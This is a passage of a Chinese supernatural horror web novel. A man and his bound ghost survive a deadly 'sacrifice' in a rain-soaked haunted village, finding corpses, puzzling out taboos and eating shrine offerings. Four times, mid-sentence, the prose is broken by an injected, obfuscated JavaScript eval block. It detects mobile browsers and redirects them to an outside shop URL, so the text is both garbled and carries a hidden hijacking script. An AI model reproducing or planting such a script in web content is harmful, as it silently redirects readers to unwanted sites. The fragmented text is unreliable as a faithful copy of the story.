她看着四五十岁,齐耳短发,身高不到一米六,说话时眼睛瞧着地面。 “大家都和厉鬼谈过。是他自己没谈拢,我们帮不上忙。”镇定青年温和地说。 那妇女哦了声,不再吭气。 镇定青年目光跳过妇女,停在方休身上。他舒展五官,大步走过来。 “贾旭。” 镇定青年指指自己。隔壁惨叫声太响,他不得不提高声音,“走,大家吃个饭,人多好商量。” 贾旭又指指身后,两个年轻人冲方休摆手——一个白领打扮的文静姑娘,一个流里流气的黄毛男人,体型都挺健康。 “你们认识?”方休问。 “刚认识。”贾旭爽朗一笑,朝方休伸出手。 此人浓眉大眼,一副讨人喜欢的阳光相貌。可惜受过鬼手主人的冲击,方休只觉得这张脸平平无奇。 “我叫方休。”方休挠了挠后脑勺,没握那只手。 贾旭过来前,身边除了中年妇女,还有个满脸阴郁的青少年。他跳过了他们,向距离最远的方休打招呼。 主动拉拢年轻人,远离大龄人员和问题少年。贾旭的做法非常现实,方休不打算评判什么。 可惜这家伙似乎很想当主心骨,方休不想要一位天降“队长”。 一步之遥,惨叫声逐渐无力,撞门频率也慢了下来。贾旭看都不看,他只是友好地望着方休,眼里的热情恰到好处。 “现在咱们也算认识了。”方休顺着话茬继续说,“以后大家互相帮助。” 说完他原地装傻,假装没听懂贾旭的组队邀请。 贾旭倒没有很失望,也没有继续坚持:“那肯定互相帮助,我们有机会再聊哈。” 回去后,贾旭拉那两个年轻人坐了一桌,低声交流起来。 方休选了另一张桌子。 这顿早饭丰盛又古怪。白饭盖得冒尖,配了油腻腻的烧鸡,米饭和鸡肉都是冷的。桌上不见青菜,只有还算新鲜的苹果橘子。 中年妇女犹疑着坐过来。那个阴郁少年往碗里装了根鸡腿,顺手拿了俩苹果,独自蹲回角落。 就在这时,持续一个早晨的惨叫声终于消失。门扉停止震动,门内只剩模糊的咀嚼声响。血腥味扩散开来,又被线香烟气盖住。 “吃好喝好,酒足饭饱,吃饱了好上路。” 纸人趴在香炉前,陶醉地吸了口烟气,“再过半个时辰,就是诸位第一场祭祀啰。” 这是诚心不让他们好好吃饭,方休无奈地夹了块烧鸡。 纸人:“说到这消灾祭,其实也简单。你们去祭祀地点找个物件儿,把它弄坏,祭祀就结了。” “哎,你倒是说说找啥!”贾旭身边的黄毛敲敲桌子,嗓门挺大。 “我们管那物件叫‘厄’——魂灵带执念,染了阴气便成‘鬼’;物件带执念,聚了因果便成‘厄’。” 纸人眯起眼睛,细声细气地说明。 照它的说法,“厄”就是个超级污染源。 “厄”一旦形成,会源源不断产生阴气,促生邪祟。遗憾的是,地府只知道哪片区域出现了“厄”,没法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538418|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确定“厄”究竟是什么。 小到一粒米、一根针,大到一具棺材、一座神像,都可能是“厄”。 所谓的消灾祭,说白了就是让活人去当排雷兵,把“厄”找出来破坏掉。 “那个,为什么不让邪祟去找呢?”这次发问的是白领姑娘,她的情绪还算平静。 “哎唷,咱不能让狼去找羊呀。”纸人连连摇头,“邪祟最喜欢阴气,它们可不会乖乖破坏‘厄’。” “要是大家一直找不到‘厄’怎么办,有没有时限?”果然,贾旭跳出来压轴了。 “只要‘厄’不消失,祭祀没有时限,祭品死完为止。” 纸人拉开嘴角,露出黑洞洞的口腔,“至于能活多久,诸位各凭本事。祭品嘛,就是这么回事儿。” 席间一阵沉默。 凝重的气氛里,方休又夹了块鸡肉,尽量小声地咀嚼。 …… 嘎吱,嘎吱。 鬼手主人掰断一根手爪,慢条斯理地咬碎。黑红血肉混合骨头,发出难听的钝响。他吃得仔细,半滴血都没溅出来。 隔壁厉鬼吃饱人肉,竟然堂而皇之穿墙散步,被他逮了个正着。 昨夜他试图摆脱召唤者,白白损耗不少力气。吞掉这只鬼,多少能补点阴气。 接下来的时日,他必须陪那个人类折腾—— 解厄塔自有规矩。为了防止厉鬼消极怠工,召唤者身亡,厉鬼会折损修为。相对的,召唤者活到最后,厉鬼也会有回报。 事已至此,要是放任那人死掉,自己反而吃亏。 无妨,既来之则安之。他只需掩藏身份,低调行事。 鬼手主人垂下头,无数细影轻轻摇晃。看不见的锁链将他牢牢束缚,正如过去千百年间。 只要地府没有察觉,他的计划就能顺利继续…… 吱呀! 门口一阵响动,他连忙把仅剩的鬼肉塞进嘴巴,差点噎个半活。 “指示下来了,我们马上要去祭祀。” 方休推门而入。 鬼手主人坐在床边,面无表情地看过来。不知道为什么,方休觉得这家伙面颊有点鼓。 于是他顺势扫了眼房间,所有东西都在原位,看上去一切正常。是错觉吧,他想。 “说起来,你总得有个名字,以后好称呼。”方休继续道,“你叫我方休就行,我叫你……” 小白?大白?不合适,太轻佻了。 这位顶了艳鬼名头,得有个文雅点的名字。看着正襟危坐的厉鬼,方休突然想起听过的灵异故事——传说被鬼附身的人,总是会有两个影子。 两个影子,听起来像多了个形影不离的朋友。 “……我叫你白双影,怎么样?”方休问。 如今自己也算和厉鬼绑定,希望他们能好好相处到最后一刻。 鬼手主人,不,白双影点点头,没说什么。 方休不怎么意外,这家伙总是一副不知道想什么的样子。就算自己叫他白艳艳,他都不一定有意见。 “早上好,白双影。” 方休露出一个微笑,“祭祀快开始了,我们走吧。” 5. 切勿犯忌 再回到院子的时候,方休一阵无语。 院子里七个人,除了他和那个没召鬼的大婶,所有人都是两个影子。他们的厉鬼统统附身,藏在影子里。 白双影跟在方休身后,白晃晃的特别醒目。堂堂艳鬼(假)威力惊人,有人发出感叹的抽气声。 方休本不想引人注意,结果上来就现了个大的。他反思两秒,认为是心态惹的祸—— 昨晚的幻境确实夸张,大场面大制作,但说破天就是个密室逃脱。那堆手也挺唬人,可白双影本质上只是掐他的脖子,这手法就很朴实无华。 所以白双影说自己实力不行,方休深信不疑。 对于其他人,厉鬼可能算某种底牌,肯定有人不愿展示。但方休没想到所有人都藏着掖着,潮水退去只有自己在裸泳。 世风日下啊。 白双影也察觉到气氛不对,瞟向方休。 方休跟他说悄悄话:“这样附身,你们是不是没法自由活动?” “嗯。” “那算了,玩去吧。”方休摇头,“你自己想附身再说。” 没必要因为一点面子憋着孩子。活动空间不足,有害身心健康。 白双影脚步顿住,一张脸微微皱起,如同猫被耗子踹了一脚。 见对方不动,方休亲切慰问:“怎么,你想上我身?” 他语气又柔和了三分,堪称慈祥。 “不。”白双影缓缓扭头。 白双影好像有点不高兴。 也是,早在抽签阶段,白双影态度就很抗拒。方休表示理解,明明很弱还被赶鸭子上架,不开心也正常。 要是有个万一,大不了他多护着点儿白双影。他就这么一只鬼,不能轻易丢了。 白双影确实有点不高兴。 因为那句“一般”,这人似乎对他产生了十分不敬的误会。 他想低调行事,方休不用他出力,他该顺心才对。但感觉怎么这么……不对劲呢。 一人一鬼各怀心思,继续前行。 …… 参与祭祀的方式很简单。 人们只需踏上院子中央的楼梯,从一楼走上黑暗遮蔽的二楼。穿越黑暗,二楼走廊看着像乡村土路,尽头只有一道朽烂木门。 门外一大片泥土地,天上噼里啪啦下着雨。湿乎乎的水汽扑面而来,夹杂着浓郁的土腥气。 方休忙着和白双影咬耳朵,走在了最后。他刚跨过那扇门,门就消失不见,一行人身后只剩一堵土墙。 祭祀这就开始了。方休摸了摸土墙,环顾四周。 夏天还没结束。雨水微温,打在人身上黏黏糊糊,有种闷热的包裹感。 面前场地杂草稀疏,大概是荒废的晒谷场。它紧挨一座村庄,村子里不见人影。更远处的景象被雨幕吞噬了,什么都看不清。 方休:“哎?” 情况和他想的不太一样。 他们到来时,场地上已经站了不少人—— 四人挤在空地中央,以一个高壮男人为首。 离这伙人十几米远处,站着表情严肃两人组。他们身上挂满稀奇古怪的法器,看起来像老手。 还有一人满脸癫狂,衣衫褴褛。他孤零零蹲在角落,用手刨泥巴,嘴里念念有词,貌似已经疯了。 好多人啊,方休暗暗感慨。 其实想想也不奇怪。 解厄塔是座塔,不可能只有他们那层小院。整座塔的祭品搞不好成千上万,大家只是被一层层分隔开来。 他更在意的是,这群人都只有一个影子。看来厉鬼不是标配,不同组的人“防身手段”未必一样。 这群人也在观察他们。众人彼此审视了好一会儿,雨势没有丝毫变小的迹象。 贾旭回过头,率先打破沉默:“咱们找个地方躲雨吧。” 他音量不大不小,语气比起提议更像指挥。这话一出,基本向旁人明示了自己的领袖地位。 方休身边,那个阴郁少年用力“嗤”了声,但也没说什么。 倒是黄毛青年出声反对,他指指远方:“我看这里挺阳间,出去闯闯呗,说不定能遇着人。” “最好别。” 老手两人组接了话。两人一男一女,开口的是男人,“走远了全是鬼,能把人活活撕了。” 黄毛不以为意地哼了声。他故意挪挪身体,脚下两道影子跟着移动。 “先找地方躲雨,雨停了再说。” 贾旭语气硬了点,接着他转向老手两人组,“两位怎么称呼?” “老棉。她叫麦子,我老婆。” 男人说,名字一听就是假名,“你们第一次吧?我看八个人都在。” 方休挑挑眉,老棉明显把白双影也算成了人。 贾旭没纠正他:“八个人都在怎么了?” 老棉笑笑:“第一次祭祀绝对会死人。喏,我们组就剩我俩,这才第四次,还没过半呢。” “太阳要下山了,夜里不能随便逛,一起找地方过夜吧。”麦子加入对话。 方休望向天空,雨天难以判断时间,但天色确实在变暗。他们明明刚吃完早饭,时间完全对不上。 昨晚大家都忙着和鬼面试,约等于通宵,趁机休息休息也好。 “不叫其他人吗?”中年妇女指指远处。 方休早饭时留心过,中年妇女叫成松云,先前召出了长袖遮面的怨鬼。 成松云是那种善心泛滥的类型。好在她听劝,不清楚是脑袋转得快,还是单纯没主见。 这种人有时候挺有用,比如现在。 是啊,为什么不叫其他人? 那个疯子先不说,四人组怎么看都不像新手,是现成的助力。 老棉和麦子对视一眼,表情复杂。 半晌,老棉走近贾旭:“你看那个领头的,他脖子上是不是很多玉佛?” “我们听说过那玉佛,一个佛能顶三条命。他霸占了队友的玉佛,这种人不好打交道……” 方休用余光去瞄,高壮男人脖子上挂了五六个玉佛,吊坠绳红得扎眼。 大家的“防身手段”果然不同。玉佛款式一致,应当是地府统一发的。既然那人大剌剌戴了一堆,可见抢到手也算数。 那男人浑身腱子肉,还占着这么多玉佛,感觉比九命猫妖还难杀。方休忍不住多看了几眼。 当然,他不确定老棉和麦子有没有说谎。 毕竟两位老手法器也不少,不知道是不是从别人身上捡的。 “……我们人手不够,需要信得过的人。你们第一次祭祀,需要我们的经验,大家公平合作。” 老棉诚恳地继续,“你们都有俩影子,肯定拿了法术之类没法抢的东西,不用担心我俩杀人越货。” 他说得有理有据,让人很难拒绝。 半小时后。 两个老手领头,一行人在村子边缘的空屋落脚。 屋内有且只有几捆柴火,像是个空闲仓库。窗户是报纸糊的,地上没铺砖,露出脏兮兮的泥巴。 雨天闷热潮湿,空气一股腥唧唧的霉味儿。九个人挤在狭窄的屋子里,舒适度无限趋近于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538419|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 零。 方休本能地挨紧白双影,厉鬼身上凉凉的,很舒服。白双影不动如山,僵得像具尸体。 “‘厄’附近阴气重,邪祟多。最好白天调查,夜晚防守。” 没等大家抱怨,麦子和和气气地解释,“选地方过夜,一定要挑这种因果关联少的,不容易犯忌。” “犯忌?”方休好奇道。 麦子苦笑:“是的,不要犯忌,否则容易死得稀里糊涂。” “纸人只说‘厄’是阴气污染源……其实‘厄’不止放放阴气那么简单,这东西自带禁忌。” “禁忌”这说法太过宽泛,众人茫然。 “举个例子,我们第一场祭祀。‘厄’是把杀猪刀,它曾是杀人凶器,被凶手藏进了祖坟。” 麦子陷入回忆,脸色不是很好看。 “那个‘厄’的禁忌,我想想,‘不能独自待在室内’、‘不要回应任何邀请’……一旦犯忌,少不了吃苦头。” “吃点苦头还算好,个别禁忌是致命的,比如‘不能受伤流血’。人一旦见血,伤口会不停开裂,直到身上的血全放干。” “那简单,注意点不就行了。”黄毛嗤之以鼻。 “简单?禁忌没有提示,得要我们自己发现。”麦子一字一顿地说。 “……总之,祭祀三步走。找到‘厄’的禁忌,找到‘厄’的因果,最后找到‘厄’本身。” 方休默默记下。 听起来,“厄”的禁忌并非随机产生,而是和“厄”的来历有着微妙联系。 那么只要弄清禁忌,它们可以作为寻找“厄”的线索。 几步外,成松云一张嘴张张合合,最终还是忍不住问:“闺女,你知不知道外头啥情况?咱们是不是失踪了,家人那边咋办啊……” 麦子表情微松:“这个不用担心,等过了第一次祭祀,纸人会讲……天快黑了,今天先这样吧。” 成松云好像还想打听别的,见状只好失望地闭上嘴。 老棉挥挥手里的铜钱剑,走到麦子身边:“别急,这才第一天,明儿白天再慢慢说。” “今晚我俩守夜,你们要信不过,就找人一起——” “信得过。”贾旭大气地表示。 和信任没啥关系,是厉鬼给他的底气,方休想。厉鬼不用睡觉,可以暗中观察。 众人准备过夜。 方休挑了远离窗户的角落,拉了捆柴火当靠椅,特地在身边留出白双影的位置。白双影刚靠过来,方休很自然地捞起那头长发,省得它碰到脏污。 “我帮你守夜。”白双影说。 不,他不守。他要趁机出门散个步吃个鬼理个思绪,方休死不了就行。 “不用,你就当自己是人。” 方休顺势搭上白双影的肩,他搂得很紧,活像老母鸡护崽,“一起休息吧,我觉很轻的。” 白双影:“……” 他不怎么愉快地回想起那次“十指相扣”。 这次也差不多,方休手指快抠他肉里了。白双影斜睨那条胳膊,终究没有挣开。 安顿好自家鬼,方休打了个哈欠。 他听到老棉与麦子低声交谈,老棉要麦子多注意安全,叮嘱了一遍又一遍,夫妻感情很好的样子。 入睡前,方休迷迷糊糊思考了会儿,他准备明天向这对夫妻打听点情报,顺道探探他们的为人。 然而等他再睁开眼睛,那些准备全成了泡影。 次日,他们发现了老棉和麦子的尸体。 死状极其凄惨,死得无声无息。 6. 恶劣处境 雨一直下。 雨珠砸在两具畸形的尸首上,鲜血稀释成淡红色,流得到处都是。 老棉和麦子就死在空屋门外。 老棉几乎被剁成肉酱,整个人都没了形状,众人只能靠衣料勉强辨认。他身上的法器通通破碎,和尸块混在一起。 麦子的死法更奇怪。她的尸首很完整,甚至多了些部件。她脊柱扭曲,骨盆处分出四条腿,左边腋下挤出一条手臂,新肢体看着细弱无力。 连她的脖颈都冒出一颗脑袋,那颗头颅苹果大小,小小的五官还没长开。 她被老棉的铜钱剑一剑穿心,眼睛半睁半合,脸上带着温柔平和的微笑。配上她变形的身体,这个微笑格外诡异。 那个没抽签的大婶发出一声尖叫,她跌跌撞撞冲出门扉,疯了一样逃向村口。 她的身影很快被水汽遮盖,没人起身去追。显然,有人被吓住了,有人漠不关心,有人则有别的顾虑—— “他、他们犯忌了?”成松云声音都在打抖。禁忌不明,她一步都不敢乱动。 “都别慌,先汇报情况!”贾旭大声指示,他看起来快吐了。 黄毛啐了口,脸色阴沉:“不清楚,我的鬼不管这些。” “天快亮那阵子,他们自己出去的。”阴郁少年抱起双臂,可是镇定的姿势没能掩盖他惨白的脸色——他身体抖得厉害。 “我的鬼也这么说。”白领姑娘哆哆嗦嗦举起手,成松云和方休跟着点头。 白双影:“?”你都没问我,你跟着点什么头。 其实他有所察觉。那两人咽气前后,他没有感知到入侵者,说明死者并非死于邪祟。 ……也就是说,他们绝对犯忌了。 “他们绝对犯忌了。”方休说。 “两位都是老手,有经验有武器。他们死得这么安静,连声惨叫都没有,应该不是邪祟袭击。” 至于人类攻击,那更不可能。人类最多能把人剁成肉酱,没法让人额外长出胳膊腿。 “不过,麦子身上的东西都没了,也许有人比我们更早发现尸体。”方休补了句。 “你……”贾旭顿了顿,还是问了出来,“你好像很习惯这些?” 先前他觉得方休不怎么起眼。 方休头发有点乱,刘海遮着小半张脸。别说社会人,自闭大学生都不会留这种发型。加上此人体型瘦削,就有点社会边缘人那味儿。 他对方休唯一的印象,是“这人胆子挺大”。 可面对麦子超出常理的尸体还无动于衷,这已经不是胆子大不大的问题了。 “我在医院干保洁,死人见得多。”方休随口说道,“他俩没了,我们接下来怎么办?” 此话一出,所有人的视线都集中到贾旭身上。 “趁白天先找找物资。这地方太奇怪了,大家务必一起走,不要分开。” 想到自己是领袖,贾旭立刻扯回注意力,“等熟悉了村子情况,咱们再调查禁忌。” 他的提议获得了一致赞同。人们恐惧外出,但更不想留在这里陪着两具怪尸。 进屋时还是九个人,再出门只剩下六个人。 方休照旧最后一个出门,临走时,他顺手关好空屋房门。房门合死的那一瞬,空空如也的房间里好像有什么在看他。 那种感觉转瞬即逝,方休决定不去在意。 大家好歹在这平安睡过一晚,就当是普通室友吧。 倒是白双影回过头,朝那空屋多看了两眼。 …… 白天的村子看起来意外正常,像是个随处可见的废弃村庄。 村间小路是泥地踩出来的,房屋墙壁是几十年前流行的稻草泥墙。一栋栋房屋门窗虚掩,方休顺着看了两眼,里面的家具歪歪斜斜,零碎物件都搬得差不多了。 屋外没有他们想象中的遍地纸钱,也没有奇奇怪怪的白事用品。有些墙上甚至挂了宣传横幅,红布残破朽烂,上面的字迹看不清,大概是安全标语。 空气温暖,雨水淅淅沥沥地浇。要不是先前见过两具尸体,众人几乎要放松下来。 “那是南瓜苗,能吃。” 黄毛指着一处荒废菜园,表情难得柔和下来,“看什么看,我之前也是村里的,家里种这玩意儿。” 然而没人去摘,谁知道乱拔菜苗算不算犯忌。 进入废弃的房间算不算?摘走树上的野果算不算?……受伤算不算?杀生算不算? 这一刻,“犯忌”的恐怖才后知后觉地攫住众人。 连两个老手都死得不明不白,仔细想来,他们任何正常行为都可能触犯“厄”的禁忌。 “妈的,净磨磨唧唧。老子今天就是要吃,吃口饭都不让,那还玩个屁!” 见没人动弹,黄毛骂了句脏话,大步跨过坍塌的栅栏。没过多久,他手里多了一大堆南瓜苗,人倒是完好无损。 “一群怂货。”他嗤笑,随手掐了个嫩尖扔进嘴巴。 然后他就在众人面前表演了一个喷射性呕吐。 “什么东西?!”黄毛骂骂咧咧,把南瓜苗扔了老远。 贾旭见黄毛平安无事,上去捡了一小片嫩叶,送进口中咀嚼。下一秒,他痛苦地皱起脸,把叶片吐了出来。 “……又腥又臭,咽不下去。强吞也不行,是那种生理性的咽不下去。”贾旭艰难地解释。 旁边的黄毛张嘴接雨水漱口,紧接着梅开二度,再次大吐特吐。 “我操这尸水啊——!”他脸色涨得紫红。 方休嗅嗅手背上的雨水,没什么味道。他又捡起南瓜苗闻了闻,很清新的气息,半点异味都没有。 “你能感觉到什么吗?”方休揪起一片南瓜叶,询问白双影。 白双影抬起头,刚打算拿出气势,就听到方休体贴地加了句:“感觉不到也别勉强,没事的。” 白双影漏气:“……” 他板着脸:“与邪祟无关。” “那就是‘厄’的禁忌之一。”方休若有所思。 黄毛和贾旭还活蹦乱跳,看来这条禁忌不致命。但事情还是很麻烦,这意味着他们的食水来源很成问题。 总不会是“不能吃东西”、“不能喝水”之类的扯淡禁忌吧。一夜过去,解厄塔那顿早饭消化一空,方休已经开始饿了。 事实证明,怕什么来什么。 菜苗、蘑菇、草根,雨水、河水、井水。黄毛非不信邪,神农尝百草似的尝了个遍,吐得整个村子都要见彩虹了。 一整天下来,他们硬是没找到能够入口的东西,所有人的脸色都很难看。 村庄情报也没什么收获。村内建筑大同小异,并没有古迹之类的突破口。唯二有点特殊的地方,只有村子东侧的小祠堂,以及村子西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538420|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧的坟地。 考虑到这两个地点的特殊性,他们没敢贸然上去探查。 离天黑还有一两个小时,一行人在村子里默默前行。 雨水慢条斯理地带走体温,人饿得更快了。方休扶扶捡来的斗笠,他渴得要死,还有点低血糖的征兆,眼前阵阵发黑。 突然,一丝烤肉香气钻进鼻子。方休刚扭过头,黄毛已然冲了出去。 香气从一个平平无奇的院子飘出,院内能听到隐约人声。 黄毛脸色突转青黑,五官变得粗大外突,像某种兽类。他双脚一蹬,竟然悄无声息地跃上墙头。 “伥鬼之力。”白双影低声点评。 方休惊奇:“原来那个无毛猫似的东西是伥鬼。” 他光记得黄毛的厉鬼模样,不认识它的品种。没想到又学到了新知识,方休鼓励地看向白双影:“你真厉害。” 白双影磨了下牙槽,这个人类态度太怪了,他总有种一拳打上棉花的感觉。 方休这边刚消化完知识点,黄毛就从墙上跳了下来。他异常的五官恢复原状,只留下震惊和茫然,谁问都不吭声。 直到他们再次回到那间仓库。 “是玉佛那伙人。”黄毛终于缓了过来,“早上吓跑那大婶,她的花袄在地上,没见着人。烤肉形状很奇怪,他们居然敢……” 他干呕几声,也许是白天呕吐过太多次,他什么都没能吐出来。 老棉和麦子的尸体还在门外,没人去碰。室外气温不低,尸体腐烂得很快,散发出一股怪味。 没了两个老手守夜,门外多出许多脚步声。它们藏在雨声里,轻轻重重,忽远忽近,像在绕着仓库转圈儿。 屋里没有食物,没有水。屋外邪祟是敌人,活人更是敌人。别说主动寻找“厄”,他们连能不能撑到后天都不知道。 白领姑娘发出一声压抑的抽泣,成松云轻拍她的背。阴郁少年把自己缩成一团,脸埋在双膝之间。 贾旭两只手在发丝间死命抓挠:“别慌,都别慌,肯定有办法……” “行了吧你,这他妈又不是游戏,还会专门给人留活路?”黄毛哑着嗓子说,“说了咱们是祭品,祭品又不是啥好词。” 说完,黄毛目光飘向门口。那两具尸体还没有彻底腐败,古怪的甜腥气从门缝钻进来。 他舔舔干裂的嘴唇,眼里多了些赤红血丝:“要我说,不如——” “我明白了。”方休打断黄毛,“禁忌不是‘不许吃喝’,满足条件的东西可以入口。不过我们信息不足,无法确定条件是什么。” “那不还是没得吃。”黄毛烦躁道,“都生死关头了,不如——” “我想出去看看。”方休又一次打断道。 “外面天都黑了。”贾旭不再抓头发,“老棉他们说过,夜里很危险。” 方休:“但是老棉他们死了,大家白天也没什么收获。” 要是明天白天还是老样子,他们会变得非常虚弱,只能躲起来等死。方休不喜欢“等死”这个词。 贾旭:“先不说邪祟,万一‘独自外出’是禁忌……” “有人和我一起吗?”方休转向其余人。 所有人都在看他,可惜无人回应。 方休轻轻吸了口气,抓住白双影的手腕。 “我和我的鬼一起去。”他说,“我不是一个人。” 7. 深夜祠堂 出门前,方休拉拉白双影的袖子:“换你来抓紧我。” “为什么?”白双影本想假装没听见,又按捺不下好奇心。 “外面的邪祟只是跑圈,没冲进来把我们全撕了,它们很有礼貌。”方休低声说,“有礼貌的邪祟,不会抢别人打包好的食物。” 白双影品了品,才意识到自己是那个“别人”,方休则是“打包好的食物”。 好像没什么问题,又好像哪里都不太对。 “若是它们执意袭击,你要怎么做?”白双影故意问。 方休歪头:“那你用用能力,让邪祟忽略我们?” ……这个人类知道他的能力? 如同微醺骤醒,白双影紧盯方休心口要害,白眸一眨不眨。 方休浑然不觉,还在嘀嘀咕咕:“昨天你让老棉他们忽略你了,应该对邪祟也有效吧。” “你怎么发现的?”白双影语调没有起伏。 “看到这么好看的脸,他们还默认你是人类,根本说不通……就算他们刻意说谎,你这么好看,正常人也会多看几眼。” 方休严肃道,“所以我猜你做了手脚,干得漂亮。” “这么好看”一句话出现两次,次次重音。说完,方休盯着白双影的脸看了会儿,眼里全是坦荡荡的欣赏。 白双影:“……” 他把目光从方休心口拔.出来,转向天花板。 方休手按在门上,继续关心自家鬼:“你不要怕,不行的话我另想办法……” “我行。”白双影反手抓紧方休的手臂,“快走吧。” 自古以来,人类总说他喜怒无常。现在白双影觉得自己卡死在喜怒之间——笑不出来,也气不起来,情绪异常稳定。 吱呀一声,屋门开启又闭合。 阴雨夜晚,门外反倒比门内亮一些,门槛两边如同两个世界。 方休小心关好门,转身又看到老棉和麦子的尸首。一天过去,它们仍然躺在原处,碎肉被冲得发白,尸体被泡得发胀。 方休目光定在麦子胸口的铜钱剑上。 铜钱剑不算大,剑刃长度约等于成人小臂,剑身钱币残破不堪。有人拿光了麦子的法器,唯独留下这把剑。 白双影:“这剑快废了,没必要捡……” “垃圾”两字还没出口,方休就把剑拔了出来,借雨水冲了冲血渍。 “哪怕快废了,也能伤到邪祟吧?” “……勉勉强强。” “那就行。”方休收好剑,他半蹲下身,望着麦子畸形的尸体。 “剑我拿走了,跟你打个招呼。” 雨声之中,他的声音平静而认真,“谢谢你告诉我们那么多事,一路走好。” 说罢,方休伸出手,轻轻合上了麦子的眼睛。 …… 夜晚的村庄不算安静。 雷声隆隆,闪电时不时划破天空,将村庄照得犹如白昼。 一路上,方休瞧见不少怪影,也听到许多窃窃私语、低笑呜咽。好在村里治安不错,没有邪祟上前袭击。 抬眼望去,家家户户屋里有光,窗边黑影幢幢,充满生活气息。遗憾的是,方休观察半天,没见哪家烟囱飘出炊烟。 “可惜没人做饭。”他扶了扶斗笠,发自内心地感叹。 白双影不想说话。 两人顺着小路前进。 他们白天曾走过这条路——自打出门,方休就目标明确地走向祠堂,步调像回家那样自然。 祠堂附近,状况就没那么自然了。 祠堂外面俨然一个小集市。道路两边张灯结彩,然而张的是青灯,挂的是白布。集市摊位错落有序,摆满不明骸骨、古怪肢体。 邪祟们摇摇晃晃地走,悄无声息地交易。其中大多都是游魂,它们只残留了隐约人形,像是没有主人的影子。 周遭寒气浓重,明明是夏夜,方休的吐息却凝出一片白汽。 “好热闹,这就是乡下赶集吗?”方休拨开刘海,眼睛亮亮的,“可惜不卖人类食物。” 看到食物在说话,游魂们眼睛也亮亮的,它们逐渐向方休身边聚集。 方休掏出铜钱剑,扒拉堵过来的游魂:“让让,让一下。” 剑身贴上游魂,发出烤肉般的滋滋声。游魂们默默分开,里三层外三层地围观方休。 方休反手抓紧白双影,目不斜视地步入祠堂。 白天的祠堂落了锁,看起来灰扑扑的。如今它大门敞开一道缝,红烛光辉从门缝泄出,显得亮堂极了。 祠堂牌匾从右到左写了“嵬山祠”,门内一只邪祟都没有,跟随方休的游魂也纷纷在外驻足。倒是白双影毫不在意,与方休一同跨过门槛。 祠堂正中立了座神像。 那神像有着五条手臂,三条腿,脖子两侧各长一个脑袋。那些多余的脑袋和肢体大小不一,位置乱七八糟,毫无美感可言。 神像整张脸漆得煞白,面部只有一张微笑的嘴唇。如今颜料斑驳,深色痕迹犹如变形的眉眼,看得人全身不舒服。 神像两边挂了副金字对联—— 【诸恶莫作天降祥瑞福泽远】 【众善奉行雨润万物情义深】 方休又往前走了两步,看得越发仔细。 神像由普通木头雕刻而成,上色艳俗,制作工艺和这座村庄一样乏善可陈。它给人的感觉并不老旧,历史绝对不超过一百年。 但这都不是重点,重点是神像前的供桌。供桌上不见香炉牌位,只有满满的供品—— 新鲜瓜果、烧鸡猪头暂且不提,黄桃罐头、旺○牛奶一样不缺。桌上另供了酥皮点心和水果糖,桌下甚至还有几箱杏仁露。 方休拿起饮料瞧了瞧,生产日期在一年前。不过它们包装很新,没有变质的迹象。 这些足够所有人吃上两天,省着点的话三四天都不止。 白双影眼看方休掰下一根鸡腿:“……你就这么直接吃?” “哦对,饿晕了头,差点忘了。” 方休放下鸡腿,清清嗓子,朝神像行了个礼,“打扰打扰,我们实在饿得不行,吃您一些供品。改天脱困,一定加倍回报。” 神像毫无反应。 方休果断咬了口鸡腿。鸡肉鲜嫩可口,连骨头都酥酥的,没有奇怪的味道。 好香,饿久了吃东西就是过瘾。方休开了瓶饮料,又摸了块酥皮点心,吃得风卷残云。 白双影几乎要开始同情神像了:“你直奔祠堂,就是为了这个?” “是啊。‘祭品’是‘供品’的别称。既然祭品能吃,供品大概也行。” 方休吃爽了,精神头好了不少,“我猜禁忌之一是‘村内食水不可入口,祭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538421|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品除外’。” 白双影沉默。 “祭品”能吃……是有这回事,那个逃走的大婶,确实被另一伙人吃掉了。 正常人看到同类被吃,第一反应会是这个吗? 另一边,方休吃饱喝足,长舒一口气。 